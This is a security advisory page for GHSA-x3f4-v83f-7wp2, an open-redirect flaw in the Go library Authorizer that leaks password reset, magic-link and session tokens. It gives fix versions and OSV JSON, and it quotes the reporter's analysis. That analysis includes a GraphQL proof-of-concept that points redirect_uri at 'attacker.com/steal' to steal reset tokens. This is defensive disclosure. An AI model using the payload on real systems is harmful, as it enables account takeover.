GHSA-x3f4-v83f-7wp2: Authorizer Password Reset Token Theft And Vulnerability

HIGH
CWE-601
Published
Advisory Summary

GHSA-x3f4-v83f-7wp2 is a HIGH password reset token theft and vulnerability (CWE-601: URL Redirection to Untrusted Site ('Open Redirect')) affecting Authorizer libraries in the Go ecosystem. The issue involves password reset token theft and full auth token redirect via unvalidated redirect_uri. Remediation is available by upgrading affected packages to version 0.0.0-20260329085140-6d9bef1aaba3.

GHSA-x3f4-v83f-7wp2 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-x3f4-v83f-7wp2
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Affected Product Authorizer
Package Ecosystem Go
Published Date
Last Updated

How to Fix GHSA-x3f4-v83f-7wp2

To remediate this vulnerability, upgrade all affected Authorizer dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/authorizerdev/authorizer fixed: 0.0.0-20260329085140-6d9bef1aaba3
Upgrade github.com/authorizerdev/authorizer to 0.0.0-20260329085140-6d9bef1aaba3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/authorizerdev/authorizer

How to Check if You Are Affected

To determine whether your application is affected by GHSA-x3f4-v83f-7wp2, inspect your project dependencies for Authorizer:

inspect dependencies for github.com/authorizerdev/authorizer

Analyze the terminal output to locate any version of Authorizer in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260329085140-6d9bef1aaba3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-601: URL Redirection to Untrusted Site ('Open Redirect'), where the web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect. In Authorizer, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

Hi, I found that 6 endpoints in Authorizer accept a user-controlled `redirect_uri` and append sensitive tokens to it without validating the URL against `AllowedOrigins`. The OAuth `/app` handler validates redirect_uri at `http_handlers/app.go:46`, but the GraphQL mutations and verify_email handler skip validation entirely. An attacker can steal password reset tokens, magic link tokens, and full auth sessions (access_token + id_token + refresh_token) by pointing redirect_uri to their server. Verified against HEAD (commit 73679fa). ## Affected Endpoints 1. **ForgotPassword** (`internal/graphql/forgot_password.go:76-77`) - password reset tokens 2. **MagicLinkLogin** (`internal/graphql/magic_link_login.go:150-151`) - magic link auth tokens 3. **Signup** (`internal/graphql/signup.go:211-212`) - email verification tokens 4. **InviteMembers** (`internal/graphql/invite_members.go:90-91`) - invitation tokens 5. **OAuthLoginHandler** (`internal/http_handlers/oauth_login.go:18-20`) - OAuth redirect stored in state 6. **VerifyEmailHandler** (`internal/http_handlers/verify_email.go:27,178`) - full auth tokens (access + id + refresh) ## Root Cause Because these 6 endpoints completely lack the `validators.IsValidOrigin()` check, this vulnerability bypasses secure configurations. Even if a production administrator strictly configures `AllowedOrigins` to `["https://my-secure-app.com"]`, an attacker can still steal tokens by passing `https://attacker.com` to these specific GraphQL mutations. The validation only exists in the `/app` OAuth handler, not in any of the GraphQL mutations. In `forgot_password.go:76-77`, the user-supplied `redirect_uri` is accepted without validation: if strings.TrimSpace(refs.StringValue(params.RedirectURI)) != "" { redirectURI = refs.StringValue(params.RedirectURI) } The reset token is appended to this URL at `internal/utils/common.go:77`: func GetForgotPasswordURL(token, redirectURI string) string { verificationURL := redirectURI + "?token=" + token return verificationURL } Compare with the OAuth flow at `internal/http_handlers/app.go:46` which validates correctly: if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) { c.JSON(400, gin.H{"error": "invalid redirect url"}) return } This validation is missing from all 6 endpoints listed above. ## Most Severe Path: Full Token Theft via verify_email After a user clicks the verification link, `verify_email.go:178` generates full auth tokens and redirects to the (unvalidated) URL: params := "access_token=" + authToken.AccessToken.Token + "&token_type=bearer&expires_in=" + ... + "&id_token=" + authToken.IDToken.Token + "&nonce=" + nonce The redirect_uri is stored in the JWT claim from the original request (attacker-controlled). The attacker receives the victim's access_token, id_token, and refresh_token directly. Because tokens are appended as URL query parameters, they are also automatically leaked to the attacker's server access logs, the victim's browser history, and any third-party analytics scripts on the attacker's page via the `Referer` header. ## PoC mutation { forgot_password(params: { email: "victim@example.com" redirect_uri: "https://attacker.com/steal" }) { message } } The victim receives a legitimate password reset email with the link `https://attacker.com/steal?token=<reset_token>`. Clicking the link sends the reset token to the attacker. ## Impact - Account takeover via stolen password reset tokens - Full session theft via stolen access_token + id_token + refresh_token - Passwordless account compromise via stolen magic link tokens - No authentication required to trigger (the GraphQL mutations are public) - Victim only needs to click the email link from their trusted Authorizer instance ## Additional Note The default `AllowedOrigins` at `cmd/root.go:39` is `["*"]`, so even the OAuth endpoint's validation is a no-op by default. Recommend changing the default to require explicit configuration. Koda Reef

GHSA-x3f4-v83f-7wp2 Affected Authorizer Versions

1 component(s)
Fixed Versions:
0.0.0-20260329085140-6d9bef1aaba3
Product / Package Ecosystem Affected Versions Fixed Version
github.com/authorizerdev/authorizer
Go
< 0.0.0-20260329085140-6d9bef1aaba3
0.0.0-20260329085140-6d9bef1aaba3

References

Frequently Asked Questions

What is GHSA-x3f4-v83f-7wp2?
GHSA-x3f4-v83f-7wp2 is a security vulnerability in Authorizer involving Password reset token theft and full auth token redirect via unvalidated redirect_uri under CWE-601: URL Redirection to Untrusted Site ('Open Redirect').
Which Authorizer versions are affected?
Affected versions include releases prior to 0.0.0-20260329085140-6d9bef1aaba3 across affected packages: github.com/authorizerdev/authorizer.
What version fixes GHSA-x3f4-v83f-7wp2?
Upgrading to 0.0.0-20260329085140-6d9bef1aaba3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/authorizerdev/authorizer affected?
Yes, github.com/authorizerdev/authorizer is affected in releases prior to 0.0.0-20260329085140-6d9bef1aaba3. Upgrade your dependency to 0.0.0-20260329085140-6d9bef1aaba3 or later.
What CWE is associated with GHSA-x3f4-v83f-7wp2?
GHSA-x3f4-v83f-7wp2 is classified under CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.).
How can I check Go dependencies for GHSA-x3f4-v83f-7wp2?
Run the dependency tree command: 'inspect dependencies for github.com/authorizerdev/authorizer'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x3f4-v83f-7wp2",
  "modified" : "2026-04-06T17:59:27Z",
  "published" : "2026-04-06T17:59:27Z",
  "aliases" : [ ],
  "summary" : "Authorizer: Password reset token theft and full auth token redirect via unvalidated redirect_uri",
  "details" : "Hi,\n\nI found that 6 endpoints in Authorizer accept a user-controlled `redirect_uri` and append sensitive tokens to it without validating the URL against `AllowedOrigins`. The OAuth `/app` handler validates redirect_uri at `http_handlers/app.go:46`, but the GraphQL mutations and verify_email handler skip validation entirely. An attacker can steal password reset tokens, magic link tokens, and full auth sessions (access_token + id_token + refresh_token) by pointing redirect_uri to their server. Verified against HEAD (commit 73679fa).\n\n## Affected Endpoints\n\n1. **ForgotPassword** (`internal/graphql/forgot_password.go:76-77`) - password reset tokens\n2. **MagicLinkLogin** (`internal/graphql/magic_link_login.go:150-151`) - magic link auth tokens\n3. **Signup** (`internal/graphql/signup.go:211-212`) - email verification tokens\n4. **InviteMembers** (`internal/graphql/invite_members.go:90-91`) - invitation tokens\n5. **OAuthLoginHandler** (`internal/http_handlers/oauth_login.go:18-20`) - OAuth redirect stored in state\n6. **VerifyEmailHandler** (`internal/http_handlers/verify_email.go:27,178`) - full auth tokens (access + id + refresh)\n\n## Root Cause\n\nBecause these 6 endpoints completely lack the `validators.IsValidOrigin()` check, this vulnerability bypasses secure configurations. Even if a production administrator strictly configures `AllowedOrigins` to `[\"https://my-secure-app.com\"]`, an attacker can still steal tokens by passing `https://attacker.com` to these specific GraphQL mutations. The validation only exists in the `/app` OAuth handler, not in any of the GraphQL mutations.\n\nIn `forgot_password.go:76-77`, the user-supplied `redirect_uri` is accepted without validation:\n\n    if strings.TrimSpace(refs.StringValue(params.RedirectURI)) != \"\" {\n        redirectURI = refs.StringValue(params.RedirectURI)\n    }\n\nThe reset token is appended to this URL at `internal/utils/common.go:77`:\n\n    func GetForgotPasswordURL(token, redirectURI string) string {\n        verificationURL := redirectURI + \"?token=\" + token\n        return verificationURL\n    }\n\nCompare with the OAuth flow at `internal/http_handlers/app.go:46` which validates correctly:\n\n    if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {\n        c.JSON(400, gin.H{\"error\": \"invalid redirect url\"})\n        return\n    }\n\nThis validation is missing from all 6 endpoints listed above.\n\n## Most Severe Path: Full Token Theft via verify_email\n\nAfter a user clicks the verification link, `verify_email.go:178` generates full auth tokens and redirects to the (unvalidated) URL:\n\n    params := \"access_token=\" + authToken.AccessToken.Token +\n        \"&token_type=bearer&expires_in=\" + ... +\n        \"&id_token=\" + authToken.IDToken.Token + \"&nonce=\" + nonce\n\nThe redirect_uri is stored in the JWT claim from the original request (attacker-controlled). The attacker receives the victim's access_token, id_token, and refresh_token directly.\n\nBecause tokens are appended as URL query parameters, they are also automatically leaked to the attacker's server access logs, the victim's browser history, and any third-party analytics scripts on the attacker's page via the `Referer` header.\n\n## PoC\n\n    mutation {\n      forgot_password(params: {\n        email: \"victim@example.com\"\n        redirect_uri: \"https://attacker.com/steal\"\n      }) {\n        message\n      }\n    }\n\nThe victim receives a legitimate password reset email with the link `https://attacker.com/steal?token=<reset_token>`. Clicking the link sends the reset token to the attacker.\n\n## Impact\n\n- Account takeover via stolen password reset tokens\n- Full session theft via stolen access_token + id_token + refresh_token\n- Passwordless account compromise via stolen magic link tokens\n- No authentication required to trigger (the GraphQL mutations are public)\n- Victim only needs to click the email link from their trusted Authorizer instance\n\n## Additional Note\n\nThe default `AllowedOrigins` at `cmd/root.go:39` is `[\"*\"]`, so even the OAuth endpoint's validation is a no-op by default. Recommend changing the default to require explicit configuration.\n\nKoda Reef",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/authorizerdev/authorizer"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260329085140-6d9bef1aaba3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/authorizerdev/authorizer/security/advisories/GHSA-x3f4-v83f-7wp2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/authorizerdev/authorizer/pull/502"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/authorizerdev/authorizer/commit/6d9bef1aaba3f867f8c769b93eb7fc80e4e7b0a2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/authorizerdev/authorizer"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/authorizerdev/authorizer/releases/tag/2.0.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-601" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-06T17:59:27Z",
    "nvd_published_at" : null
  }
}